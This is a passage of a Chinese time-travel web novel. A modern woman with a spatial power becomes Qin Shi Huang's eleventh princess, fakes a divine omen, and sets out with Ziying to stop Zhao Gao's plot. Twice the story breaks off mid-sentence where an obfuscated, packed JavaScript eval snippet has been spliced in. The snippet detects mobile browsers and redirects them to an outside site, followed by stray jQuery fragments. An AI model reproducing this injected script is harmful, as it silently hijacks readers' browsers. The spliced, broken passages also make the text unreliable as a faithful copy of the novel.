《秦二世上位手册》 1. 穿越 孟夏时节,蝼蛄鸣叫,蚯蚓出土,苦菜开花,正是草木肆意生长的季节。 阳翟原是韩国的首都之一,二十年前,内史腾攻韩,得韩王安,尽纳其地,将这里和韩国其它领土一起划为秦朝的一个郡,名颍川郡。 已是傍晚时分,夕阳将豆田染成金色,田间耕作的黔首却丝毫没有停下手中活计的意思,耒耜翻得飞快,将夹杂在豆苗中的稂莠等野草除去。 直到天色笼罩在一片暗淡中,大家才纷纷收拾农具,准备归家。 趁着回家的功夫,黔首们聚在一起,闲谈两三句,内容多是些细微琐事的事情,却能让劳累了一天的他们放松下心情。 其中一户人家的话题是之后除草除虫的速度还需要再快一些,若是赶不上还农具的时间,他们就只能用石头制成的农具干活了。 是的,虽然秦朝这些年来一直在折腾,导致赋税和徭役负担严重,但对于他们这些原六国的黔首来讲,也是有一些好处的。 比如他们可以免费向官府借用铁农具,即使使用中有损坏,只要在交还时写明备案,就不用赔偿,有时还能借用到耕牛。 前些日子,因为生病,这家的男主人将田里的活计耽搁了将近半个月,可不得再劳作的快些吗? 提到农具,旁边一位名叫乐,看起来十三四岁的少年凑了过来,兴冲冲开口道:“我听黄石君说,在尧舜之前,人们刀耕火种,将种子随手洒在地上,用木头做的耒耜翻土,贝壳磨成的耨除草,双手持陶瓮汲水,不仅比现在累,就连作物的产量都少上数倍。” 他口中的黄石君,是位相貌秀美、气质清雅的君子,外出游历,昨日路过他们里时,天色已晚,距离逆旅还有很长一段路程,再加上验传齐全,便在三老的安排下,在乐的家里借宿一夜。 乐是个活泼热情,还很自来熟的孩子,见家中有客人,便主动上前与之攀谈起来,黄石君博学多识,尽管只是随口几句,也足够乐记在心中,做好日后和其它人炫耀的打算。 哦对了,他离开时还听到黄石君轻声叹了一句“故地重游,无限悲愁。”幸亏他听力好,否则肯定错过了这句话,不过这都不重要,重要的是他成功从黄石君那里学到的新的知识! 和他预想的一样,说完这句话,果然有更多人上前打开话题。 另一位扛着耒耜的黔首颇有兴致的说道:“这样的话,希望上天能继续降下恩赐、降下福祉,让咱们明年下地干活时比现在轻松,作物的产量也比现在多上数倍。” 众人接连附和这位黔首的话,有人更是天马行空的说出自己的愿望,甚至还将类别分得更细,诸如什么希望能更快割麦,更快撒种之类的,成功将这场闲谈引成了许愿大会。 乐却说:“可是黄石君又说了,天道的运行规律恒久不变,不会为了谁而改变,就算人们想要强求,那也是徒劳无功的。” 这句话中夹杂了荀子、韩非、还有些道家的思想,黔首们听不太懂,更不关心各家学派的争鸣,只单纯认为乐是个扫兴的人,以及黄石君是个对鬼神不敬的人。 乐的情商卡在一个“不高不低,正好能在话说出口后意识到不对劲儿”的尴尬水平,于是连忙开口试图给刚才的话打补丁:“就算天道的运行规律不会改变,那兴许很快会有一个像尧舜那样的圣人出现,圣人为我们达成愿望。” 刚才安静冷落的气氛才稍微回暖了些,众人赶在秦律规定时间内进入里间门,各自回到自己家中,此时太阳已经完全落山,星星稀少,白日里清晰可见的细节都模糊成一片朦胧的黑暗,豆田里响起声声蝉鸣,一群群黄绿色的蚜虫附着在豆苗的嫩叶上,大快朵颐地吸食里面滋润甜美的汁液。 这些劳碌了一天的黔首,明天还要干一天的活,所以回到家中简单吃过飧食后,便都睡了,乐也不例外,想到自己傍晚时说的话,努了努嘴,喃喃道些:“上天?或者圣人?无论是哪一方,求求您帮助帮助我们这些贫苦黔首……”话还未说完,他也已沉沉睡去。 能让他们生活的更加幸福的人的确已经出现,这个人现在正在咸阳宫中为如何活命而苦思冥想呢。 咸阳宫是一个广义上的宫殿群,秦孝公时建造,历代秦王皆有扩建,及至嬴政,秦每灭一国,便彻其宫室,作之于咸阳北板上,又将所得诸侯美人钟鼓珍宝充入其中,天下一统时,这里已经是殿屋复道。周阁相属,极其巍峨壮观。 鎏金银竹节熏炉中燃着的兰草香将整个宫室内渲染的清幽淡雅,灯架上的膏烛被熄了几根,一名端着盥洗用具的宫人进入屋内,悄声问道:“公主醒了吗?” 被提问的那名宫人朝着漆纹朱雀屏风的方向看了一眼,里面静悄悄的,没有任何动静,于是摇了摇头,回道:“还没有。” 将盥洗用具放到一旁,二两位宫人相互对视一眼,都从对方眼中看到了焦虑与紧张。 十一公主今日登高,不小心摔了下来,摔破了头,虽然宫中太医已经尽力治疗,但情况还是不太好,大概率是醒不过来了。 她们只好一边跪坐在房间两侧守夜,一边期盼公主早日醒来。 实际上公主早就醒了,只不过内里的芯子已经换成另外一个人。 青琅不知道自己该如何面对即将来临的一群烂摊子,和一片黑暗的前途,所以选择躺在塌上躺尸装睡来逃避。 刚意识到自己穿越到古代这件时,青琅很快就接受了这个现实。 在现代,青琅大一时,一块不知道从哪个星系来的陨石落到地球上,陨石上的外来物质使地球进入末日时代。 青琅从前看的那些末世文里,末世的种类五花八门,要么是极寒、酷暑这种天灾型末世,要么是丧尸、动植物变异之类的,但她比较倒霉,亲身经历的末世集这些之大成,每种灾难都略带一些。 唯一幸运的一点大概是,末日开始后,人类的身体也都陆陆续续发生一些改变,但人类的改变不叫变异,而叫进化! 进化出各种类型的异能,青琅也是这些特殊者之一,末日时代一年后,她进化出空间系异能,结识了很多志向相同的师长朋友,和他们并肩作战的第四年,也就是末世结束的前一天,在绞杀最后一只变异动物时殉职。 青琅本质贪生,凭心而论,这世上谁不想多活几天?但她对于死亡的态度还算豁达,那历史上的秦皇汉武为了求长生还折腾出来浩浩荡荡一大堆事呢,最后不也死了?再说我这一生虽然短暂,但也挺精彩的,二十更比六十强,趁着脑子里闪走马灯的时候,她自己把自己给安慰好了。 青琅认命地闭眼等死。 然后又睁开了眼睛。 青琅没死,但穿越了。 古色古香的装饰摆设映入眼帘,外面有宫人在小声说着什么,虽然语言和现代不同,但还是凭直觉听懂了她们管自己叫公主。 公主好啊!吃喝不愁,身份高贵,就当提前开启养老生活了,只要不是靖康或者五胡乱华那种天崩开局就行。 青琅平心静气,又试了试,随后意识到一件更好的事情,自己的空间异能还在,里面的物资也没有消失。 这样的话……即使是南北朝她也敢碰一碰,大不了自主创业,也来一把“苍天已死黄天当立”的戏码! 很快一阵原身的记忆袭来,打断她的思考。 记忆很模糊,断断续续的,但也足够青琅辨别消息了。 原身也叫青琅,她爹是个很厉害的君王,灭了好几个诸侯国,使整片华夏大地只有自己家这一个国家存在,统一后又弄出来一系列被很多人骂也被很多人夸的政策,还给自己想出了个史无前例的“皇帝”称呼。 这个描述是不是很熟悉?是的没错,原身她爹就是青琅死前用来安慰自己的那个秦皇汉武中的——秦皇。 至于为什么只有这么一点记忆,这是一个众人皆知的原因……青琅圣质如初,天生纯洁无瑕。 高情商:圣质如初。 低情商:是个傻子。 此事在后世晋武帝司马炎身上亦有体现——就是那个说出“何不食肉糜”这句话的皇帝。 青琅:O.O 智商不高也没什么,秦宫内不像宫斗小说里描述的那样勾心斗角尔虞我诈,北板宫殿群那么大,多少宫妃一辈子都没见过面。当然更没有诸如什么缺衣少食、冬天不给炭火之类的腌臜事,宫里的公主们关系相处的都还不错,至少表面没什么矛盾。 哦,对了,青琅还出生在秦灭魏国那一年,算是喜上加喜。 这都不重要,重要的是,原身虽然是个傻子,但会数数,她记得这是嬴政统一六国的第十二年,青琅也记得历史书上记载这是嬴政去世的那一年。 而现在……现在是六月初,嬴政应该已经在平原津生病了,还有一个月,就会崩于沙丘。 接下来的剧情就很熟悉了,赵高矫诏,扶苏自杀,嬴政梓棺费鲍鱼,杀千刀的胡亥登基成为秦二世,自己给自己灭族,将青琅等十一个公主车裂成一块一块的,二十几个皇兄也全杀了。 相对来讲,自杀的公子高等人是他们这些人里结局最好的——至少有个全尸。 青琅:求老天放我一马。 老天:好的我立刻放马过来! 青琅继续瘫在塌上,陷入沉思。 这一瘫,就瘫了将近一个时辰。 一个时辰后,青琅麻木的眼睛突然亮了起来。 她想开了,接着创业接着反啊! 青琅仅用一个小时,就接受自己穿成秦始皇公主这件事。 来都来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463319|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,别说自己有空间,有现代人的思想,还知道未来的历史和隐藏在全国各地的人才,就算什么金手指都没有,凭借前世的身手放手一搏,也能让赵高胡亥这俩穷山恶水双子星急性铁中毒。 青琅先给自己制定了个计划。 接下来的时间里,她需要先去一趟沙丘,还得给扶苏那边传信,将他也引到沙丘。 最好的结果就是看看能不能治好嬴政的病,有他在。还能镇一下那些想要搞事的六国贵族,青琅再凭借自己的金手指搞搞基建,安抚好黔首。 如果嬴政药石无医,那就只能先把扶苏扶上位,然后走摄政王路线,兴许后续还能加九锡。 如果是最坏的情况,和历史上的结局一样,那她可以学习一下老朱的高筑墙、广积粮、缓称王了。 ——按照项羽对秦国皇室的恨意,可能刚见到青琅,就直接发挥自己美食达人的人设,把她煮了或者烤了。 青琅有信心打得过胡亥,但项羽……她还是有点虚。 不过她一个脑子不好的公主,无论说什么做什么,其他皇子公主都不会在意,朝中诸臣更不一定上心,甚至可能他那位仁义善良的大哥还会以为她脑子里的病情更严重了,从而更关心她,让她多吃点饭,多穿点衣裳。 青琅需要加重筹码,为自己造势,增加话语权。 秦人大都迷信,秦皇更是苦求长生而不得,所以神鬼仙人之说,是门槛最低,但也最有效的办法。 青琅抬头,借着烛光,看向房屋上方那些华美精致的装饰,堪称郁巍巍画梁雕栋,思考片刻,她心中便有了主意。 末世结束,青琅空间内的物资都上交了,但她自己的私人物品却都还在,储存了很多知识书籍的内存卡和相应的太阳能显示器,这原本是假如人类没有挺过末世而保存的最后的知识种子。 以及一些食物、日用品、军用物资、防身冷兵器等,可惜的是,那些杀伤力大的热武器都被她在最后一战里用光了。 但这些也足够青琅造势了。 青琅从榻上起来,隐藏自己的脚步声,静悄悄走到一名宫人后边,心里悄悄说了一句“抱歉”,手上的力道却丝毫不含糊,一个手刀落到脖颈处,直接将她劈晕,随后又如法炮制将另一名宫人也敲晕。 原身虽然没有经过系统的锻炼,但从小衣食无忧,营养充足,身体健康,力气也不小。 青琅通过廊柱轻手轻脚爬上屋顶,保持好平衡后,将屋顶用来遮光避雨的木望板、砖瓦等统统拆掉!直到拆出一个边长将近两米的大洞才停手。 她大概是大秦第一个撸起袖子亲自拆家的公主吧。 为了毁掉这些人工痕迹,青琅特地将拆下来的废料放到自己的空间中,即使秦宫郎卫从咸阳找到江东,都找不到。 青琅空间里有两只军用手电筒,20W流明的亮度,远射1600米,能将一整座山照亮。 她可以先弄出些声响吸引别人注意,再用能透过屋瓦的强光伪造神迹,除此之外,还可以效仿汉武帝时期的钩弋夫人,拳握宝物。 至于这宝物到底是什么……透明的水晶?甜甜的麦丽素?还是一块宝玉? 不不不,这些都只是外物,她需要一个能让朝中百官、诸位宗室、甚至连嬴政都为之动容的物件儿! 对,就是你了! 青琅掏出一把南瓜籽握在手里,这是没有经过杂交的普通南瓜籽,可以一直种出作物。 汉武帝时,仅在打猎时看到一只白麟,猪猪就特别高兴,满朝文武也都纷纷写赋为他歌颂,现在自己一下搞出三奇迹,不得把这些人给迷死? 什么大秦的祥瑞吉兆,仙人留在人间的使者,沟通天地阴阳的大巫等。 总之,各种人设,手到擒来。 先是在房顶上放一束烟花,烟花炸开后发出巨大的声音,引起周围人的注意。 灵活的从廊柱上爬下来,青琅深吸一口气,做好准备,同时打开两只手电筒! 强光射出的一瞬间,晃得青琅不由自主闭上眼睛。 烟花绽放于天际,虽然时间短暂,却如梦似幻,绚烂耀眼,除了值班巡逻的卫士,许多正在梦乡中沉睡的宫妃也都被吵醒,起身披衣,朝这边走来。 忽然,一阵亮光劈开黑夜的帷幕,将附近照得亮如白昼,宛如仙境,照得任何人都无处躲藏。 他们能确定,这世上绝不可能有任何膏烛能发出这样明亮的光芒,即使是由鲸鱼膏脂制成的人鱼烛也无法堪比。 ——人间从未有之。 这必定,是仙人赐给大秦的祥瑞吉兆。 后世史书记载这一晚:始皇帝十二年六月,夜中,地射明光,亮若白昼,天赐福祉,德泽四海。二世陛下开通心窍,受天命,承王道。 2. 出发 起初只是对这异象好奇难耐,情不自禁往这边走,等意识回笼时,众人已经走到了青琅殿门口。 这下许多细节都变得更加清晰。 什么奇怪的味道飘在空气中,下意识地吸了吸鼻子,一股子焦糊味,铁锈味,微微刺鼻,还有点熟悉。仔细回味一下,终于回想起来,这不就是那些方术士为陛下炼制的仙丹的味道吗? 因为烟花和丹药中都含有一种相同的成分——硫磺。 眼前景象实在奇妙,众人又喜又惊,行礼便拜,可过了大概半刻钟时间,光源处依旧安静,没有任何声音发出,也就是这段僵持的时间,让大家有了思考的机会,住在邻近宫殿的嫔妃或公主也注意到,发现降下吉兆处是十一公主的宫殿。 很显然,十一公主没有伪装鬼神的能力。 ——毕竟她连理解鬼神是什么都费劲。 上天这是何意?只是凑巧,还是真认为十一公主圣质如初,降下明光赐福于它? 不会这明光一照,把十一公主给照开智了吧? 各有想法,可谁也不愿意先挑起这个头,场面陷入僵持,门内终于传来响动,吱扭一声,大门被人从里面打开,门开的那一刻,白光随着屋内之人的脚步来到门口,众人眯起眼睛适应,随着时间的推移,光线亮度一点一点变暗,最后完全消失。 青琅将背后的手电收入空间。 悄无声息将手从背部移到腿侧,青琅内心调侃,自己给自己打光,看来我的秦朝演艺事业还有待加油啊。 有人低声唤了一声:“十一公主?” 扫了一眼门外众人,青琅知道这场造势已经成功大半,接下来就是发挥演技的时刻了,努力做出一副疑惑的表情,开口:“诸位……为何聚于此处?” 位份最高的宫妃出来主持局面,说出事情经过,紧接着又问:“十一公主,刚刚屋内发生了何事,您可是得到了什么仙缘?” 青琅佯扮回忆:“刚刚,我确实有一次奇遇,魂游仙境十数年,如梦似幻,奇妙不已。仙人慈蔼,自言与我有缘,赐我一次先知能力,我梦到……梦到……” 说到这里,如噩梦惊醒,她呼吸变得急促,声音更是慌乱:“此事事关大秦社稷,关系重大,宗室中可有一位名为子婴的官员?” 算算时间,嬴政这时候应该已经病得很严重了,有赵高胡亥在他旁边,而青琅在朝中又没有羽翼,就算到达沙丘行宫,估计她很大概率连嬴政的面都见不到,所以要找一个帮手,或者说是同盟,和她一起去沙丘。 而子婴,就是青琅反复思考后选中的帮手。 其实她一开始是想选章邯的,章邯身居少府,是九卿之一,还会打仗,但最后还是觉得子婴更好一些。 一来这位历史上的秦三世是嬴姓宗室,有血脉压制、有话语权。二来史书记载子婴仁俭,行事果断,上位后先诛赵高,再投沛公,走的任何一步棋都可以算是当时的最优解。 青琅的话像一滴水进入油锅,激起不小波澜,宫妃们面面相觑,都不知道该如何回答。 这…… 她们原本想的是,有了这个明光吉兆,陛下回到咸阳后必来此查望,届时他们就能见到陛下,陛下一高兴,兴许自己还能再得一次恩宠呢。 没想到十一公主语不惊人死不休,甫一张口,就说出了个这么不得了的消息。 最重要的是,大秦后宫不干政,为了这个,陛下甚至连皇后都没立,他们根本就不认识子婴啊。 场面焦灼间,一阵整齐的脚步声由远及近传来,远方值夜的卫士看到这边吉兆的那一刻,也带人匆匆赶了过来,青琅又向他们问了一遍刚才的问题,这次终于得到答案。 宗室中的确有个叫做子婴的,为宗正承,秩千石,此时正在咸阳,只不过他的辈分比青琅想象的低了不少。 子婴是秦孝文王这一只的血脉,他的高大父(太爷爷)和嬴政的父亲是同父异母的兄弟。 唉,皇家,好乱。 经过一段时间的思考,青琅终于梳理出来结果,虽然子婴比自己大二十多岁,但从辈分来讲,他是自己的侄子。 青琅让卫士长带自己去找子婴,原则上来讲,卫士长不应该答应青琅,光是夜游这一项,就足够判定她违反秦律。 但奈何青琅是原则他女儿,所以可行。 先是夜有明光,接着公主开智,神色激动地对他说些什么诸如苍生啊社稷啊仙缘啊之类的热血话语,还说他这样的柱石之臣是多么的重要。 弄得怪燃的。 相比方士们那些虚无缥缈的灵芝和仙药,卫士长还是觉得公主的话更加可信,若是趁着这股东风,在陛下或陛下心腹面前露了脸,上升之路同样可有,他可惦记着中郎承这个位置好久了呢。 百分之三百的好处加上百分之九十的成功率,卫士长拍板,决定赌一把,带十一公主去找子婴殿下。 青琅走得很急,但咸阳太大,到达子婴的府邸时,已经是辰时了,云开日出,蒸蒸而上,温度也在逐渐升高。 早有别的郎卫率先前来禀报,子婴提前做好公主找自己有事的准备,亲自迎接,但很显然,他行动上准备的足够,但心里准备少了。 经过一晚上的折腾,青琅终于见到自己改命计划里出现的第一个人。 子婴率先开口,问道:“时间仓促,有失远迎,不知公主前来,所为何事?” 青琅:“此事事关重大,请您屏退左右,与我密谈。” 子婴依言行动,他愈发好奇青琅到底为什么来找自己,刚一进屋,青琅便迅速关门,片刻间泪如雨下,无比悲痛道:“子婴足下可知,如今宗庙将有倒悬之危,社稷将有累卵之急,非你我二人而不能救也!” 这是《三国演义》里王允使连环计前对貂蝉说的话,和现在的场景很适配。 子婴惊道:“此……此话怎讲?” 青琅先是长话短说,粗略地说了一下自己和神仙之间的缘分羁绊,又告诉子婴,她曾在仙宫之中看到一些景象:“父皇到达平原津的时候就已经病了,他讨厌说“死”这个字,群臣便没有敢提出来的,他的病却越来越严重,于是写了一封信给皇兄,让他回到咸阳,为自己主持丧事。盖上玉玺,封好信后,中车府令赵高却并没有将这封信交给使者,而是自己偷偷藏了起来。甚至,甚至还……” “甚至还打算矫诏,以父皇的名义,指责皇兄不忠不孝不仁不义,让他自杀!” 这句话宛如一道惊天霹雳,劈得子婴僵在原地,久久没有动作,等反应过来时,后背和额头已经被冷汗浸湿透。 子婴:“此事事关重大,公主不可妄言。” 秦律法严厉,又重孝道,莫说是皇室,就算是普通黔首家中,只要父母去官府控告一句子女不孝,官府就可以立刻将其处死,甚至不需要任何理由。按照大公子的仁爱重孝的性格,必定会…… 青琅虽没说后续,但子婴已将结果猜出了个大概。 青琅:“青琅以祖宗宗庙发誓,平原津之景,句句属实,绝无半点虚言!” “就算你所言属实,可为何又说非你我二人而不能相救也?” 子婴在宗室中不显山不漏水,没什么太大的风头,这也是胡亥那个畜生继位后,把嬴政的嫡系血脉都杀绝种了,却放过了子婴的原因。 所以他对青琅来找自己的决定很意外。 她明明可以去找些话语权更重的宗室之人商讨此事。 ——还不是怕别人不坚定,到沙丘后被对面的糖衣炮弹迷了心智,直接投了,那到时候她可真就前有狼后有虎,中间夹着个二五仔了。 心里这样想着,嘴上却变成了某位仙人曾随口提过秦宗室里有位叫子婴的,忠心正直有风骨,所以才来找他。 把仙人当块补丁,哪里需要就往哪里补。 “您若相信我的话,便请与我同去沙丘行宫,揭露奸人赵高的阴谋,挽狂澜于既倒,扶大厦之将倾。” “您若不信我的话……” 子婴听得认真。 “那也要和我一起去一趟沙丘!” 子婴:? 所以刚才说了这么多,其实我根本就没得选是吧? 青琅:“若梦中场景有误,父皇身体安康,社稷稳固,青琅便是一死,也没有遗憾了。” 她继续陈情,一顶又一顶的高帽往子婴头上戴,什么他是大秦的擎天白玉柱,架海紫金梁云云的,把他架的老高。 和侍卫长不同,子婴是个忧国忧民、有理想的人,而且他也很担心陛下的身体,担心大秦的社稷。 去了,若真有事,如公主所言,能力挽狂澜,若无事发生,最多也就是一个擅离职守的罪,和社稷之危比起来不值一提。 思索片刻,子婴决定依青琅所言,和她同去沙丘。 在青琅的人生阅历中,想让不熟的人帮你办事,无非就两条路,要么给对方足足的利益,要么就是什么信仰啊志向啊,能说到对方的点上。 大多数人都是前者,比如刚刚的侍卫长,少数人是后者,例如面前的子婴。 听到子婴同意,青琅十分欢喜,言说事不宜迟,想要立刻出发,却被子婴阻止,虽然决定轻装简行,骑马前往沙丘,但离开前还需要做一些准备,别的不说,验传得有吧?手续得办吧?为了安全起见,还得再找几个力气大功夫强的侍卫随行。 子婴计划明日一早出发,但青琅认为现在时间紧急,如果能早点弄完这些,最好今日傍晚出发。 子婴:秦国宗室人脉局,启动! 青琅:“还需给大兄写一封信,说明此事。” 和他们两个不同,镇守边境的皇子,擅离职守可是很严重的,子婴本打算劝劝青琅,先去沙丘那边看看情况再考虑,可十一公主忒仗义,把全部责任都揽到了自己身上,说若事情有误,陛下的怒火,她一个人全扛了。 子婴:公主这人真好!人品高洁! 青琅:嬴政怒火再大,他能诛我九族吗? 要是其中真有差错,哪一处和史书上记载的不一样,她手上不是还有空间金手指吗?用它装神弄鬼忽悠嬴政,不必什么卢生徐福之类的强多了? 卢生等方士在神鬼之事上忽悠嬴政这么多年,嬴政得到了0个好处,自己至少真的有现代科技,会搞基建,能让她得到N个好处。 子婴措辞片刻,坐到书案前,提笔写信,信上言辞委婉,还挺有文采的,但青琅却没什么心思看。 准确说是看不懂。 她发现了一件很恐怖的事。 自己好像……变成文盲了,版牍上的字一个也看不懂! 注意到她疑惑的表情,子婴问道:“怎么了?” “没,没什么。”青琅面色讪讪,“这些文字和我在仙境中看到的有很大不同。” 仙境的字和人间的字有区别,这很正常,不知不觉间,子婴已经相信了青琅的人设。 写完这封信,子婴命人百里加急送到九原郡,青琅顺势拿起他刚刚用过的毛笔,在一片宽大的版上涂涂画画,不一会儿便画出一套图纸:“请您将这张图纸送到太仆官署,图纸上的东西做出来后,我们这趟路程会走的轻松许多。” 青琅画的是马具的图纸,她刚才一个人在车上时,趁机翻了翻空间里和马具三件套有关的书籍,这些东西原理简单,她看了大概十几分钟就记下来了。 青琅会骑马,在末世那种艰难的环境,为了活命,不仅是马,就算是东北虎白犀牛大河马都得骑,不过这数百里的路程,有了马具,会更方便。 马具的原理简单,但作用却大,子婴站在图版旁观察许久,越看,就越是赞不绝口,想要细细研究。 “这是我在仙境见到的。”如此惊为天人的设计,青琅却说的轻描淡写,就好像在说自己早上看到一颗垂柳那样平淡,“仙人还教了我一些别的东西,等处理完这件事,我要将我会的东西全部献给大秦,献给父皇。” 三句话离不开大秦,两句话关心父皇,无论青琅心中有什么大逆不道的想法,总之嘴上的话是又甜又好听。 而在子婴看来,十一公主是个多么无私奉献的人啊! 他曾在书中看到过许多描述君子的事迹,也曾在儒生口中听过许多值得称赞的君子的美德,可直到今日,他才发现,原来十一公主口中才是真正的君子之言,十一公主的所作所为才是真正的君子之行。 青琅:? 不对,我大侄子看我的眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17463320|201281||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神里怎么带上小星星了? 青琅只知道太仆是掌管天子乘舆车马的官职,便下意识将马蹄铁图纸交给太仆官署,但其实应该交给少府,也就是章邯手下的考工室制造。 子婴认为能拿出这样神奇图纸的青琅做什么都有她的道理,于是按照她的话办了,导致这张图在一天内辗转了很多部门。 他又注意到,从见到青琅到现在,无论是说话或是画图或是干别的什么,她的左手一直处于握紧状态,没有任何张开的时候。 “您的手……” 青琅又开始随地大小演,抬起自己握成拳头的手,解释道:“仙人说和我有缘,临别之时送了件礼物放在我手中,不过只有时机到了才能打开。” “具体是什么我也不知道,但仙人说了,是和“秦”有关的赠礼。” 听完之后,子婴心中除了好奇,更多的是欢喜,感叹上苍当真眷顾我们大秦。 兴许仙境之中哪位仙人还是我们老赢家的祖宗呢,秦人先祖擅御,《秦风》又多见车马之好,而刚刚的仙图正好和车马有关…… 官署里的人一旦开始思考,那真是芝麻粒大小的细节都能琢磨出点什么不一样的味道。 这个时候,关于十一公主有仙缘,得到仙人赐福的消息已经在外面传的沸沸扬扬了。 各方势力,各有想法。按理来说,对这种消息打探地最早,挖毒最详细的,非咸阳宫中那些方术士们莫属。 不过可惜,因为诽谤欺君,嬴政两年前“优化”过一批人,许多方士,甚至还有一些儒生纷纷入坑,所以他们最近消停了许多。 而儒生博士们,虽然不像董仲舒“天人感应”学说流行后那样酸腐执拗,援引各种阴阳五行思想入儒的举动,以及屁大点的异常天气都要粗思细思,思考个天翻地覆的地步,但依旧有天能影响人事、预示灾祥这种想法。 于是他们聚在一起后开始翻书,引经据典,古代没有搜索引擎,想要找什么内容都纯靠脑子和手,翻来翻去,还真让他们在历史上翻到一件类似的事情。 《左传·鲁庄公七年》记载“恒星不见,夜明也。星陨如雨,与雨偕也。” 至此,纷争开始! 有的儒生面露惋惜,说道:“鲁庄公七年,星陨如雨,又发生了很严重的水灾,直到秋日也不生麦苗,这是上天对大秦的示警,陛下回到咸阳后,应劝说他沐浴焚香,前往宗庙祭祀神灵,向天地神明诉说自己的过错。” 另一名博士却反驳道:“不不不,在下认为您所言不妥,您刚刚说的灾难全都发生在鲁国,可我翻阅史书,发现鲁庄公七年,也是秦武公在位的第十年。这一年,秦国攻打邽、冀戎两地的戎族,在这两地设县。又在下一年灭了小虢。鲁国有灾,和我大秦有什么关系?所以,依我之见,此乃大吉之兆啊!” 室内有片刻安静,很快他的想法也被反驳:“可鲁国之地正是如今的薛郡,薛郡遭难,不也是大秦遭难吗?” “五百年前的鲁不能代表现在的秦!” “你说的不对……” “你说的才不对……” 大家都认为自己的想法才最有道理,气氛越来越热烈,一屋子儒生心跳加速,体温升高,脸也变的红红的。 原来是要被对面气疯了啊! 和儒生博士这边吵得不可开交不同,朝中其他官员的想法不约而同,全是祝贺。 恭喜陛下,恭喜大秦,然后再写几篇辞赋文章赞美此事。 就像汉武帝在水里打捞出来的鼎,孙权称帝前殿门口看到的赤乌一样,吉兆这种东西,是真是假无所谓,上层君主需要用它来维持自己的统治者地位,下层百姓需要用它来当个对美好未来的盼头,中间的官员小吏们,只需要张嘴夸就行了。 去年曾发生过一次荧惑守心,这是一种象征帝王有灾的天像,以及“今年祖龙死”的预言,虽然陛下非嘴硬说祖龙是指人的祖先,和他无关,但接二连三的凶兆还是弄得大家人心惶惶,大秦现在正需要这件吉祥事稳定民心呢。 石室中,柱下一位肥白长大的御史正在整理书籍档案,听到周围同僚口中谈论昨夜之事,心想也不知这次是真是假,按照那些方士们之前的把戏和手段来看,大概率也是假的。 不过没关系,当所有人都说这个异象是真的,那它就能成为吉兆,被记载在史书上了。 朝中这样多的纷纷扰扰,丝毫没有耽搁青琅的行程,子婴的人脉局发力,虽然马具图纸半日内兜兜转转经过了好多个官署,但还是在傍晚时分,和其它东西一起送到青琅等人手中。 除此之外,还有八名卫士护送他们。 青琅等人的骏马飞驰在大秦的“高速公路”——驰道上。 这是嬴政统一六国后第二年下令修建的,以咸阳为中心,通往全国各地。驰道由多层夯土筑成,高出路面许多,内部填以金锥(相当于现代的钢筋混凝土),两旁栽以青松,看起来十分壮观。 驰道共有三条,路面宽度五十步(约现69.3米),中间专供皇帝出巡车辆通行,其余人走两侧之路。 一行人傍晚出发,纵马数个时辰,农田房屋逐渐褪去,山峦起伏连绵,直至月上中天,夜色深邃,众人才翻身下马,准备安营休息。 山脚下,篝火前,青琅正在吃饭,忽然听到身后林中传来许多乱七八糟的声音。 脚步声、铜铁相撞之音,落叶簌簌声……各种声音夹杂在一起,带着一种神秘的诡谲感。 林木蓊郁,草叶幽邈,夜色深深,一名卫士悄声嘀咕:“这声音……林中不会有山魈吧?” “不会的。”子婴说道:“大家安心,此处离骊山不远,估计是从骊山逃出来的刑徒。” 骊山北糜就是修建秦始皇陵的地方,那里的刑徒要从北山开采来山石,蜀地、荆地运来木料,工作强度高,还是无期徒刑,所以虽然秦对于逃奴惩罚严重,被抓回的可能性也很大,但还是有人铤而走险选择逃跑。 子婴猜的对,里面确实是一群逃跑的役徒,共十几人。 他们也注意到了青琅一行人,其中一名刑徒恭恭敬敬向另一名身穿赭色刑服,受过黥刑,面上被涂了墨的男人报告:“英公,外面的那些人是官府的人。” 3. 插曲 英公闻言,面色一沉,眉头紧皱。 他还未开口,倒是其他人先忍不住慌张起来:“完……完了。” “肯定是来抓我们的!” 大家情不自禁看向青琅这边,只是片刻,便双腿发软,嘴唇发白,呼吸变得又急又深,心里全被惶恐与害怕填满。 有人颤抖道:“英公,要不我们……我们自出吧。” 自出,就是回去自首。 秦法严苛,但却并不像后世所想那样残忍,什么汤镬、囊杀、车裂之类的很少见。几千几万人死掉,这种场景也基本发生在战场,或谋反等政治斗争中。 违反秦律的犯人所受刑罚一般都是些罚钱的财产刑,刮胡子剃头发的耻辱刑、剥夺社会地位的身份刑、鞭笞挖鼻子的肉刑等。死刑并不常见,因为秦朝生产力不足,人口珍贵,甚至很多郡县每年都有人口上涨的指标,哪里舍得因为一点小罪就把他们都杀掉? 而且就算是死刑,也大多是斩首,死的很痛苦的酷刑非常少。更多的是判他们去修建宫殿、筑造城墙、转运粮草等的劳役刑。 秦律有“累犯从重”原则,刑徒逃跑被抓回后,需要在原有罪名的基础上再加重一级刑罚。 例如这名嚷嚷着要去自首的逃犯,他原本只是鬼薪,——一种被罚入山林中打柴的刑徒,如果被官府的人抓回去,就要被黥为城旦,先受黥刑,在脸上刺字,再被罚为城旦,去通宵达旦地修城墙。 城旦是刑徒等级中最重的刑罚。 可如果主动回去自首,只需要被鞭笞一百下就行了。 两相对比,怎么想都是回去自首比较好一些。 